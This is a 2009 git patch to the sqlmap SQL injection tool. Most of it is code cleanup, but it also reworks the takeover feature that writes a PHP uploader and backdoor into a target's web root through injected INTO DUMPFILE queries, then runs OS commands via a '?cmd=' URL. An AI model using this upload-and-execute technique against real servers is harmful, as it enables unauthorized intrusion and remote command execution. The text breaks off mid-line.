From 16b4530bbe806aa0e6e8154ebc97f5ce60458f8c Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Mon, 27 Apr 2009 23:05:11 +0000 Subject: [PATCH] Minor bug fixes to --os-shell (altought web backdoor functionality still to be reviewed). Minor common library code refactoring. Code cleanup. Set back the default User-Agent to sqlmap for comparison algorithm reasons. Updated THANKS. --- doc/THANKS | 6 ++ lib/contrib/magic.py | 2 +- lib/contrib/multipartpost.py | 10 +-- lib/controller/checks.py | 5 +- lib/controller/controller.py | 2 - lib/core/agent.py | 1 - lib/core/common.py | 132 ++++++++++++++++------------ lib/core/convert.py | 9 +- lib/core/exception.py | 2 - lib/core/option.py | 13 +-- lib/core/settings.py | 1 - lib/core/shell.py | 4 +- lib/core/target.py | 3 - lib/core/update.py | 6 +- lib/parse/handler.py | 1 - lib/parse/headers.py | 2 - lib/request/basic.py | 12 +-- lib/request/comparison.py | 1 - lib/request/connect.py | 8 +- lib/request/inject.py | 1 - lib/takeover/abstraction.py | 1 + lib/takeover/dep.py | 5 -- lib/takeover/metasploit.py | 8 +- lib/takeover/upx.py | 1 - lib/techniques/inband/union/test.py | 5 +- lib/techniques/inband/union/use.py | 5 +- lib/utils/google.py | 5 +- plugins/dbms/mssqlserver.py | 8 +- plugins/dbms/mysql.py | 2 - plugins/dbms/oracle.py | 1 + plugins/dbms/postgresql.py | 3 - plugins/generic/enumeration.py | 6 -- plugins/generic/filesystem.py | 4 +- plugins/generic/fingerprint.py | 2 +- plugins/generic/takeover.py | 82 ++++++----------- 35 files changed, 158 insertions(+), 201 deletions(-) diff --git a/doc/THANKS b/doc/THANKS index 49f70de9f..50662eb9c 100644 --- a/doc/THANKS +++ b/doc/THANKS @@ -27,6 +27,9 @@ Pierre Chifflier for uploading the sqlmap 0.6.2 Debian package to the official Debian project repository +Ulises U. Cune + for reporting a bug + Stefano Di Paola for suggesting good features @@ -80,6 +83,9 @@ Anant Kochhar Alexander Kornbrust for reporting a couple of bugs +Nicolas Krassas + for reporting a bug + Guido Landi for the great technical discussions for Microsoft SQL Server 2000 and Microsoft SQL Server 2005 diff --git a/lib/contrib/magic.py b/lib/contrib/magic.py index 51c2e9a55..b69b65a09 100644 --- a/lib/contrib/magic.py +++ b/lib/contrib/magic.py @@ -64,7 +64,7 @@ class Magic: try: magic_close(self.cookie) except Exception, e: - print "got thig: ", e + print "got this:", e _magic_mime = None diff --git a/lib/contrib/multipartpost.py b/lib/contrib/multipartpost.py index 8a1ddc643..eb10cf683 100644 --- a/lib/contrib/multipartpost.py +++ b/lib/contrib/multipartpost.py @@ -54,11 +54,11 @@ class MultipartPostHandler(urllib2.BaseHandler): v_files = [] v_vars = [] try: - for(key, value) in data.items(): - if type(value) == file: - v_files.append((key, value)) - else: - v_vars.append((key, value)) + for(key, value) in data.items(): + if type(value) == file: + v_files.append((key, value)) + else: + v_vars.append((key, value)) except TypeError: systype, value, traceback = sys.exc_info() raise sqlmapDataException, "not a valid non-string sequence or mapping object", traceback diff --git a/lib/controller/checks.py b/lib/controller/checks.py index e14dd5ac5..aeb38b0c8 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -27,7 +27,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA import re import time -from lib.controller.action import action from lib.core.agent import agent from lib.core.common import randomInt from lib.core.common import randomStr @@ -295,9 +294,9 @@ def checkStability(): infoMsg = "testing if the url is stable, wait a few seconds" logger.info(infoMsg) - firstPage, firstHeaders = Request.queryPage(content=True) + firstPage, _ = Request.queryPage(content=True) time.sleep(1) - secondPage, secondHeaders = Request.queryPage(content=True) + secondPage, _ = Request.queryPage(content=True) condition = firstPage == secondPage diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 44294d9b8..7c35fd00b 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -36,7 +36,6 @@ from lib.core.common import readInput from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger -from lib.core.exception import sqlmapConnectionException from lib.core.exception import sqlmapNotVulnerableException from lib.core.session import setInjection from lib.core.target import createTargetDirs @@ -105,7 +104,6 @@ def start(): logger.info(infoMsg) hostCount = 0 - receivedCookies = [] cookieStr = "" setCookieAsInjectable = True diff --git a/lib/core/agent.py b/lib/core/agent.py index 6453fcfb7..9b3b22ef4 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -33,7 +33,6 @@ from lib.core.data import kb from lib.core.data import queries from lib.core.data import temp from lib.core.exception import sqlmapNoneDataException -from lib.core.exception import sqlmapUnsupportedDBMSException class Agent: diff --git a/lib/core/common.py b/lib/core/common.py index f93dca425..bbebf2780 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -141,9 +141,9 @@ def formatDBMSfp(versions=None): def formatFingerprintString(values, chain=" or "): - string = "|".join([v for v in values]) + strJoin = "|".join([v for v in values]) - return string.replace("|", chain) + return strJoin.replace("|", chain) def formatFingerprint(target, info): @@ -224,73 +224,91 @@ def getHtmlErrorFp(): def getDocRoot(): - """ - This method returns the web application document root based on the - detected absolute files paths in the knowledge base. - """ - docRoot = None - if kb.absFilePaths: - logMsg = "retrieved the possible injectable " - logMsg += "file absolute system paths: " - logMsg += "'%s'" % ", ".join(path for path in kb.absFilePaths) - logger.info(logMsg) + if kb.os == "Windows": + defaultDocRoot = "C:\\Inetput\\wwwroot\\" else: - warnMsg = "unable to retrieve the injectable file " - warnMsg += "absolute system path" - logger.warn(warnMsg) + defaultDocRoot = "/var/www/" - for absFilePath in kb.absFilePaths: - if conf.path in absFilePath: - index = absFilePath.index(conf.path) - docRoot = absFilePath[:index] - break + if kb.absFilePaths: + for absFilePath in kb.absFilePaths: + absFilePathWin = None + + if re.search("([\w]\:[\/\\\\]+)", absFilePath): + absFilePathWin = absFilePath + absFilePath = absFilePath[2:].replace("\\", "/") + + absFilePath = os.path.normpath(absFilePath) + + if os.path.dirname(conf.path) in absFilePath: + index = absFilePath.index(conf.path) + docRoot = absFilePath[:index] + + if absFilePathWin: + docRoot = "C:\\%s" % docRoot.replace("/", "\\") + + break if docRoot: - logMsg = "retrieved the remote web server " - logMsg += "document root: '%s'" % docRoot - logger.info(logMsg) + infoMsg = "retrieved the web server document root: '%s'" % docRoot + logger.info(infoMsg) else: - warnMsg = "unable to retrieve the remote web server " - warnMsg += "document root" + warnMsg = "unable to retrieve the web server document root" logger.warn(warnMsg) + message = "please provide the web server document root " + message += "[%s]: " % defaultDocRoot + inputDocRoot = readInput(message, default=defaultDocRoot) + + if inputDocRoot: + docRoot = inputDocRoot + else: + docRoot = defaultDocRoot + return docRoot -def getDirectories(): - """ - This method calls a function that returns the web application document - root and injectable file absolute system path. - - @return: a set of paths (document root and absolute system path). - @rtype: C{set} - @todo: replace this function with a site crawling functionality. - """ - +def getDirs(): directories = set() - kb.docRoot = getDocRoot() + if kb.os == "Windows": + defaultDir = "C:\\Inetput\\wwwroot\\test\\" + else: + defaultDir = "/var/www/test/" - if kb.docRoot: - directories.add(kb.docRoot) + if kb.absFilePaths: + infoMsg = "retrieved web server full paths: " + infoMsg += "'%s'" % ", ".join(path for path in kb.absFilePaths) + logger.info(infoMsg) - pagePath = re.search("^/(.*)/", conf.path) + for absFilePath in kb.absFilePaths: + directories.add(os.path.dirname(absFilePath)) + else: + warnMsg = "unable to retrieve any web server path" + logger.warn(warnMsg) - if kb.docRoot and pagePath: - pagePath = pagePath.groups()[0] + message = "please provide any additional web server full path to try " + message += "to upload the agent [%s]: " % defaultDir + inputDirs = readInput(message, default=defaultDir) - directories.add("%s/%s" % (kb.docRoot, pagePath)) + if inputDirs: + inputDirs = inputDirs.replace(", ", ",") + inputDirs = inputDirs.split(",") + + for inputDir in inputDirs: + directories.add(inputDir) + else: + directories.add(defaultDir) return directories def filePathToString(filePath): - string = filePath.replace("/", "_").replace("\\", "_") - string = string.replace(" ", "_").replace(":", "_") + strRepl = filePath.replace("/", "_").replace("\\", "_") + strRepl = strRepl.replace(" ", "_").replace(":", "_") - return string + return strRepl def dataToStdout(data): @@ -326,18 +344,18 @@ def dataToOutFile(data): return rFilePath -def strToHex(string): +def strToHex(inpStr): """ - @param string: string to be converted into its hexadecimal value. - @type string: C{str} + @param inpStr: inpStr to be converted into its hexadecimal value. + @type inpStr: C{str} - @return: the hexadecimal converted string. + @return: the hexadecimal converted inpStr. @rtype: C{str} """ hexStr = "" - for character in string: + for character in inpStr: if character == "\n": character = " " @@ -457,17 +475,17 @@ def randomStr(length=5, lowercase=False): return rndStr -def sanitizeStr(string): +def sanitizeStr(inpStr): """ - @param string: string to sanitize: cast to str datatype and replace + @param inpStr: inpStr to sanitize: cast to str datatype and replace newlines with one space and strip carriage returns. - @type string: C{str} + @type inpStr: C{str} - @return: sanitized string + @return: sanitized inpStr @rtype: C{str} """ - cleanString = str(string) + cleanString = str(inpStr) cleanString = cleanString.replace("\n", " ").replace("\r", "") return cleanString @@ -483,8 +501,8 @@ def checkFile(filename): raise sqlmapFilePathException, "unable to read file '%s'" % filename -def replaceNewlineTabs(string): - replacedString = string.replace("\n", "__NEWLINE__").replace("\t", "__TAB__") +def replaceNewlineTabs(inpStr): + replacedString = inpStr.replace("\n", "__NEWLINE__").replace("\t", "__TAB__") replacedString = replacedString.replace(temp.delimiter, "__DEL__") return replacedString diff --git a/lib/core/convert.py b/lib/core/convert.py index 0092d38a1..5d60de738 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -23,13 +23,8 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ -try: - from hashlib import md5 - from hashlib import sha -except ImportError, _: - import md5 - import sha - +import md5 +import sha import struct import urllib diff --git a/lib/core/exception.py b/lib/core/exception.py index a8dd3190f..756d9ca42 100644 --- a/lib/core/exception.py +++ b/lib/core/exception.py @@ -24,8 +24,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA -import sys - from lib.core.settings import PLATFORM from lib.core.settings import PYVERSION from lib.core.settings import VERSION diff --git a/lib/core/option.py b/lib/core/option.py index 01e037e60..5419c74ff 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -31,8 +31,6 @@ import logging import os import re import socket -import sys -import time import urllib2 import urlparse @@ -42,8 +40,6 @@ from lib.core.common import getFileType from lib.core.common import parseTargetUrl from lib.core.common import paths from lib.core.common import randomRange -from lib.core.common import randomStr -from lib.core.common import readInput from lib.core.common import sanitizeStr from lib.core.data import conf from lib.core.data import kb @@ -60,8 +56,10 @@ from lib.core.optiondict import optDict from lib.core.settings import MSSQL_ALIASES from lib.core.settings import MYSQL_ALIASES from lib.core.settings import PLATFORM +from lib.core.settings import SITE from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import SUPPORTED_OS +from lib.core.settings import VERSION_STRING from lib.core.update import update from lib.parse.configfile import configFileParser from lib.parse.queriesfile import queriesParser @@ -600,9 +598,14 @@ def __defaultHTTPUserAgent(): @rtype: C{str} """ + return "%s (%s)" % (VERSION_STRING, SITE) + + # Firefox 3 running on Ubuntu 9.04 updated at April 2009 + #return "Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9" + # Internet Explorer 7.0 running on Windows 2003 Service Pack 2 english # updated at March 2009 - return "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)" + #return "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)" def __setHTTPUserAgent(): diff --git a/lib/core/settings.py b/lib/core/settings.py index dda071654..690a7df7c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -25,7 +25,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA import logging -import os import sys diff --git a/lib/core/shell.py b/lib/core/shell.py index 6c2557a7a..8f01dfb05 100644 --- a/lib/core/shell.py +++ b/lib/core/shell.py @@ -73,8 +73,8 @@ class CompleterNG(rlcompleter.Completer): matches = [] n = len(text) - for list in [ self.namespace ]: - for word in list: + for ns in [ self.namespace ]: + for word in ns: if word[:n] == text: matches.append(word) diff --git a/lib/core/target.py b/lib/core/target.py index 41b9a8221..2fe346cf8 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -25,17 +25,14 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA import os -import re import time from lib.core.common import dataToSessionFile from lib.core.common import paramToDict from lib.core.common import parseTargetUrl -from lib.core.common import readInput from lib.core.convert import urldecode from lib.core.data import conf from lib.core.data import kb -from lib.core.data import logger from lib.core.data import paths from lib.core.dump import dumper from lib.core.exception import sqlmapFilePathException diff --git a/lib/core/update.py b/lib/core/update.py index ab810d913..46599d447 100644 --- a/lib/core/update.py +++ b/lib/core/update.py @@ -205,7 +205,7 @@ def __createFile(pathname, data): fileFP.close() -def __extractZipFile(tempDir, zipFile, sqlmapNewestVersion): +def __extractZipFile(tempDir, zipFile): # Check if the saved binary file is really a ZIP file if zipfile.is_zipfile(zipFile): sqlmapZipFile = zipfile.ZipFile(zipFile) @@ -285,13 +285,13 @@ def __updateSqlmap(): tempDir = tempfile.gettempdir() zipFile = os.path.join(tempDir, "sqlmap-%s.zip" % sqlmapNewestVersion) __createFile(zipFile, sqlmapBinaryString) - __extractZipFile(tempDir, zipFile, sqlmapNewestVersion) + __extractZipFile(tempDir, zipFile) # For each file and directory in the temporary directory copy it # to the sqlmap root path and set right permission # TODO: remove files not needed anymore and all pyc within the # sqlmap root path in the end - for root, dirs, files in os.walk(os.path.join(tempDir, "sqlmap-%s" % sqlmapNewestVersion)): + for root, _, files in os.walk(os.path.join(tempDir, "sqlmap-%s" % sqlmapNewestVersion)): # Just for development release if '.svn' in root: continue diff --git a/lib/parse/handler.py b/lib/parse/handler.py index 7f68d10ea..c5db8e939 100644 --- a/lib/parse/handler.py +++ b/lib/parse/handler.py @@ -29,7 +29,6 @@ import re from xml.sax.handler import ContentHandler from lib.core.common import sanitizeStr -from lib.core.data import kb class FingerprintHandler(ContentHandler): diff --git a/lib/parse/headers.py b/lib/parse/headers.py index 6f2580fbf..7b9f341bb 100644 --- a/lib/parse/headers.py +++ b/lib/parse/headers.py @@ -24,8 +24,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA -import re - from xml.sax import parse from lib.core.common import checkFile diff --git a/lib/request/basic.py b/lib/request/basic.py index edede1b81..141bf8232 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -28,7 +28,6 @@ import re from lib.core.data import conf from lib.core.data import kb -from lib.core.data import paths from lib.parse.headers import headersParser from lib.parse.html import htmlParser @@ -73,8 +72,11 @@ def parseResponse(page, headers): # Detect injectable page absolute system path # NOTE: this regular expression works if the remote web application # is written in PHP and debug/error messages are enabled. - absFilePaths = re.findall(" in (.*?) on line", page, re.I) + absFilePathsRegExp = ( " in (.*?) on line", "([\w]\:[\/\\\\]+)" ) - for absFilePath in absFilePaths: - if absFilePath not in kb.absFilePaths: - kb.absFilePaths.add(absFilePath) + for absFilePathRegExp in absFilePathsRegExp: + absFilePaths = re.findall(absFilePathRegExp, page, re.I) + + for absFilePath in absFilePaths: + if absFilePath not in kb.absFilePaths: + kb.absFilePaths.add(absFilePath) diff --git a/lib/request/comparison.py b/lib/request/comparison.py index b17481634..0213fccf8 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -26,7 +26,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA import re -from lib.core.convert import md5hash from lib.core.data import conf from lib.core.data import logger from lib.core.session import setMatchRatio diff --git a/lib/request/connect.py b/lib/request/connect.py index 687c2ac6c..27e2589f3 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -93,11 +93,11 @@ class Connect: requestMsg += "?%s" % params elif multipart: - multipartOpener = urllib2.build_opener(multipartpost.MultipartPostHandler) - conn = multipartOpener.open(url, multipart) - page = conn.read() + multipartOpener = urllib2.build_opener(multipartpost.MultipartPostHandler) + conn = multipartOpener.open(url, multipart) + page = conn.read() - return page + return page else: if conf.parameters.has_key("GET") and not get: diff --git a/lib/request/inject.py b/lib/request/inject.py index 23723d474..54d4d601f 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -33,7 +33,6 @@ from lib.core.common import dataToSessionFile from lib.core.common import expandAsteriskForColumns from lib.core.common import parseUnionPage from lib.core.common import readInput -from lib.core.common import replaceNewlineTabs from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py index beff73d1e..5a5f3ea8f 100644 --- a/lib/takeover/abstraction.py +++ b/lib/takeover/abstraction.py @@ -29,6 +29,7 @@ from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.dump import dumper +from lib.core.exception import sqlmapUnsupportedFeatureException from lib.core.shell import autoCompletion from lib.takeover.udf import UDF from lib.takeover.xp_cmdshell import xp_cmdshell diff --git a/lib/takeover/dep.py b/lib/takeover/dep.py index 191125830..64180b0a7 100644 --- a/lib/takeover/dep.py +++ b/lib/takeover/dep.py @@ -24,11 +24,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA -import os - -from lib.core.common import randomStr -from lib.core.common import readInput -from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.session import setDEP diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py index cb3862412..462310d87 100644 --- a/lib/takeover/metasploit.py +++ b/lib/takeover/metasploit.py @@ -135,14 +135,14 @@ class Metasploit: def __skeletonSelection(self, msg, lst=None, maxValue=1, default=1): if kb.os == "Windows": - os = "windows" + opSys = "windows" else: - os = "linux" + opSys = "linux" message = "which %s do you want to use?" % msg if lst: - for num, data in lst[os].items(): + for num, data in lst[opSys].items(): description = data[0] if num > maxValue: @@ -174,7 +174,7 @@ class Metasploit: choice = int(choice) if lst: - choice = lst[os][choice][1] + choice = lst[opSys][choice][1] return choice diff --git a/lib/takeover/upx.py b/lib/takeover/upx.py index 18bb21971..a8730bfb6 100644 --- a/lib/takeover/upx.py +++ b/lib/takeover/upx.py @@ -25,7 +25,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA import os -import sys import time from subprocess import PIPE diff --git a/lib/techniques/inband/union/test.py b/lib/techniques/inband/union/test.py index 770aa3b91..be22c2e6b 100644 --- a/lib/techniques/inband/union/test.py +++ b/lib/techniques/inband/union/test.py @@ -175,8 +175,9 @@ def __unionTestByNULLBruteforce(comment): def __unionTestByOrderBy(comment): - columns = None - value = None + columns = None + value = None + prevPayload = "" for count in range(1, 51): query = agent.prefixQuery(" ORDER BY %d" % count) diff --git a/lib/techniques/inband/union/use.py b/lib/techniques/inband/union/use.py index dc06b66bc..9aaefa4bd 100644 --- a/lib/techniques/inband/union/use.py +++ b/lib/techniques/inband/union/use.py @@ -29,14 +29,11 @@ import time from lib.core.agent import agent from lib.core.common import parseUnionPage -from lib.core.common import readInput from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.data import temp -from lib.core.exception import sqlmapUnsupportedDBMSException -from lib.core.session import setUnion from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.techniques.inband.union.test import unionTest @@ -202,7 +199,7 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh field = expressionFieldsList[0] elif kb.dbms == "Oracle": - field = expressionFieldsList + field = expressionFieldsList else: field = None diff --git a/lib/utils/google.py b/lib/utils/google.py index 0edd49bcd..aa9d8832f 100644 --- a/lib/utils/google.py +++ b/lib/utils/google.py @@ -32,7 +32,6 @@ from lib.core.convert import urlencode from lib.core.data import conf from lib.core.data import kb from lib.core.exception import sqlmapConnectionException -from lib.core.exception import sqlmapRegExprException class Google: @@ -84,9 +83,9 @@ class Google: try: conn = self.opener.open("http://www.google.com/ncr") - headers = conn.info() + _ = conn.info() except urllib2.HTTPError, e: - headers = e.info() + _ = e.info() except urllib2.URLError, e: errMsg = "unable to connect to Google" raise sqlmapConnectionException, errMsg diff --git a/plugins/dbms/mssqlserver.py b/plugins/dbms/mssqlserver.py index c99b84bc5..7308be215 100644 --- a/plugins/dbms/mssqlserver.py +++ b/plugins/dbms/mssqlserver.py @@ -28,15 +28,11 @@ import os import time from lib.core.agent import agent -from lib.core.common import dataToOutFile -from lib.core.common import dataToStdout from lib.core.common import formatDBMSfp from lib.core.common import formatFingerprint from lib.core.common import getHtmlErrorFp from lib.core.common import getRange -from lib.core.common import randomInt from lib.core.common import randomStr -from lib.core.common import readInput from lib.core.convert import urlencode from lib.core.data import conf from lib.core.data import kb @@ -48,11 +44,9 @@ from lib.core.exception import sqlmapUnsupportedFeatureException from lib.core.session import setDbms from lib.core.settings import MSSQL_ALIASES from lib.core.settings import MSSQL_SYSTEM_DBS -from lib.core.shell import autoCompletion from lib.core.unescaper import unescaper from lib.request import inject from lib.request.connect import Connect as Request -from lib.techniques.outband.stacked import stackedTest from plugins.generic.enumeration import Enumeration from plugins.generic.filesystem import Filesystem @@ -521,7 +515,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov wFilePointer.close() if wFileSize < debugSize: - chunkName = self.updateBinChunk(wFileContent, dFile, tmpPath) + chunkName = self.updateBinChunk(wFileContent, tmpPath) sFile = "%s\%s" % (tmpPath, dFileName) logger.debug("moving binary file %s to %s" % (sFile, dFile)) diff --git a/plugins/dbms/mysql.py b/plugins/dbms/mysql.py index 41a6b2906..f6037a812 100644 --- a/plugins/dbms/mysql.py +++ b/plugins/dbms/mysql.py @@ -28,7 +28,6 @@ import os import re from lib.core.agent import agent -from lib.core.common import fileToStr from lib.core.common import formatDBMSfp from lib.core.common import formatFingerprint from lib.core.common import getHtmlErrorFp @@ -49,7 +48,6 @@ from lib.request import inject from lib.request.connect import Connect as Request from lib.techniques.inband.union.test import unionTest from lib.techniques.inband.union.use import unionUse -from lib.techniques.outband.stacked import stackedTest from plugins.generic.enumeration import Enumeration from plugins.generic.filesystem import Filesystem diff --git a/plugins/dbms/oracle.py b/plugins/dbms/oracle.py index 9898923fa..14a7c2e56 100644 --- a/plugins/dbms/oracle.py +++ b/plugins/dbms/oracle.py @@ -34,6 +34,7 @@ from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.exception import sqlmapSyntaxException +from lib.core.exception import sqlmapUnsupportedFeatureException from lib.core.session import setDbms from lib.core.settings import ORACLE_ALIASES from lib.core.settings import ORACLE_SYSTEM_DBS diff --git a/plugins/dbms/postgresql.py b/plugins/dbms/postgresql.py index 4c1e7a4e7..ed76b2a34 100644 --- a/plugins/dbms/postgresql.py +++ b/plugins/dbms/postgresql.py @@ -48,7 +48,6 @@ from lib.core.settings import PGSQL_SYSTEM_DBS from lib.core.unescaper import unescaper from lib.request import inject from lib.request.connect import Connect as Request -from lib.techniques.outband.stacked import stackedTest from plugins.generic.enumeration import Enumeration from plugins.generic.filesystem import Filesystem @@ -302,8 +301,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove def stackedReadFile(self, rFile): - # TODO: write a UDF to retrieve the hexadecimal encoded content of - # the requested file warnMsg = "binary file read on PostgreSQL is not yet supported, " warnMsg += "if the requested file is binary, its content will not " warnMsg += "be retrieved" diff --git a/plugins/generic/enumeration.py b/plugins/generic/enumeration.py index 183afedae..848b75e7c 100644 --- a/plugins/generic/enumeration.py +++ b/plugins/generic/enumeration.py @@ -39,7 +39,6 @@ from lib.core.data import temp from lib.core.dump import dumper from lib.core.exception import sqlmapMissingMandatoryOptionException from lib.core.exception import sqlmapNoneDataException -from lib.core.exception import sqlmapUndefinedMethod from lib.core.exception import sqlmapUnsupportedFeatureException from lib.core.session import setOs from lib.core.settings import SQL_STATEMENTS @@ -47,7 +46,6 @@ from lib.core.shell import autoCompletion from lib.core.unescaper import unescaper from lib.parse.banner import bannerParser from lib.request import inject -from lib.request.connect import Connect as Request from lib.techniques.inband.union.test import unionTest from lib.techniques.outband.stacked import stackedTest @@ -1098,7 +1096,6 @@ class Enumeration: def sqlQuery(self, query): output = None - selectQuery = True sqlType = None query = urlencode(query, convall=True) @@ -1108,9 +1105,6 @@ class Enumeration: if query.lower().startswith(sqlStatement): sqlType = sqlTitle - if sqlTitle != "SQL SELECT statement": - selectQuery = False - break message = "do you want to retrieve the SQL statement output? " diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index 7d3312cd4..22ff224f2 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -31,10 +31,8 @@ from lib.core.agent import agent from lib.core.common import dataToOutFile from lib.core.common import randomStr from lib.core.common import readInput -from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger -from lib.core.exception import sqlmapUnsupportedFeatureException from lib.request import inject from lib.techniques.outband.stacked import stackedTest @@ -215,7 +213,7 @@ class Filesystem: return fcEncodedList - def updateBinChunk(self, binaryData, dFile, tmpPath): + def updateBinChunk(self, binaryData, tmpPath): """ Called by Microsoft SQL Server plugin to write a binary file on the back-end DBMS underlying file system diff --git a/plugins/generic/fingerprint.py b/plugins/generic/fingerprint.py index 939244931..cbd62c05d 100644 --- a/plugins/generic/fingerprint.py +++ b/plugins/generic/fingerprint.py @@ -33,7 +33,7 @@ class Fingerprint: """ @staticmethod - def unescape(expression): + def unescape(expression, quote=True): errMsg = "'unescape' method must be defined " errMsg += "into the specific DBMS plugin" raise sqlmapUndefinedMethod, errMsg diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py index a975fef8f..6d5f991ec 100644 --- a/plugins/generic/takeover.py +++ b/plugins/generic/takeover.py @@ -24,12 +24,15 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +import os import re -from lib.core.common import getDirectories +from lib.core.agent import agent +from lib.core.common import fileToStr +from lib.core.common import getDirs +from lib.core.common import getDocRoot from lib.core.common import randomStr from lib.core.common import readInput -from lib.core.convert import urlencode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -59,13 +62,12 @@ class Takeover(Abstraction, DEP, Metasploit, Registry): def __webBackdoorRunCmd(self, backdoorUrl, cmd): - """ - TODO: complete review of this code is needed - """ - output = None - cmdUrl = "%s?cmd=%s" % (backdoorUrl, conf.osCmd) + if not cmd: + cmd = conf.osCmd + + cmdUrl = "%s?cmd=%s" % (backdoorUrl, cmd) page, _ = Request.getPage(url=cmdUrl, direct=True) output = re.search("
(.+?)
", page, re.I | re.S) @@ -79,8 +81,6 @@ class Takeover(Abstraction, DEP, Metasploit, Registry): def __webBackdoorOsShell(self): """ - TODO: complete review of this code is needed - This method is used to write a PHP agent (cmd.php) on a writable remote directory within the web server document root. Such agent is written using the INTO OUTFILE MySQL DBMS @@ -95,42 +95,10 @@ class Takeover(Abstraction, DEP, Metasploit, Registry): ASP, JSP, CGI (Python, Perl, Ruby, Bash). """ - infoMsg = "retrieving web application directories" - logger.info(infoMsg) + self.checkDbmsOs() - directories = getDirectories() - - if directories: - infoMsg = "retrieved web server directories " - infoMsg += "'%s'" % ", ".join(d for d in directories) - logger.info(infoMsg) - - message = "in addition you can provide a list of directories " - message += "absolute path comma separated that you want sqlmap " - message += "to try to upload the agent [/var/www/test]: " - inputDirs = readInput(message, default="/var/www/test") - else: - message = "please provide the web server document root [/var/www]: " - inputDocRoot = readInput(message, default="/var/www") - - if inputDocRoot: - kb.docRoot = inputDocRoot - else: - kb.docRoot = "/var/www" - - message = "please provide a list of directories absolute path " - message += "comma separated that you want sqlmap to try to " - message += "upload the agent [/var/www/test]: " - inputDirs = readInput(message, default="/var/www/test") - - if inputDirs: - inputDirs = inputDirs.replace(", ", ",") - inputDirs = inputDirs.split(",") - - for inputDir in inputDirs: - directories.add(inputDir) - else: - directories.add("/var/www/test") + kb.docRoot = getDocRoot() + directories = getDirs() infoMsg = "trying to upload the uploader agent" logger.info(infoMsg) @@ -139,34 +107,40 @@ class Takeover(Abstraction, DEP, Metasploit, Registry): directories.sort() uploaded = False + # TODO: backdoor and uploader extensions must be the same as of + # the web application language in use backdoorName = "backdoor.php" backdoorPath = "%s/%s" % (paths.SQLMAP_SHELL_PATH, backdoorName) uploaderName = "uploader.php" uploaderStr = fileToStr("%s/%s" % (paths.SQLMAP_SHELL_PATH, uploaderName)) + if kb.os == "Windows": + sep = "\\\\" + else: + sep = "/" + for directory in directories: if uploaded: break # Upload the uploader agent uploaderQuery = uploaderStr.replace("WRITABLE_DIR", directory) - query = " LIMIT 1 INTO OUTFILE '%s/%s' " % (directory, uploaderName) + query = " LIMIT 1 INTO DUMPFILE '%s%s%s' " % (directory, sep, uploaderName) query += "LINES TERMINATED BY '\\n%s\\n'--" % uploaderQuery query = agent.prefixQuery(" %s" % query) query = agent.postfixQuery(query) - payload = agent.payload(newValue=query) - page = Request.queryPage(payload) + payload = agent.payload(newValue=query) + page = Request.queryPage(payload) + requestDir = directory.replace(kb.docRoot, "/").replace("\\", "/") + requestDir = os.path.normpath(requestDir) - if kb.docRoot: - requestDir = directory.replace(kb.docRoot, "") - else: - requestDir = directory - - baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir) + baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir) uploaderUrl = "%s/%s" % (baseUrl, uploaderName) - page, _ = Request.getPage(url=uploaderUrl, direct=True) + uploaderUrl = os.path.normpath(uploaderUrl) + + page, _ = Request.getPage(url=uploaderUrl, direct=True) if 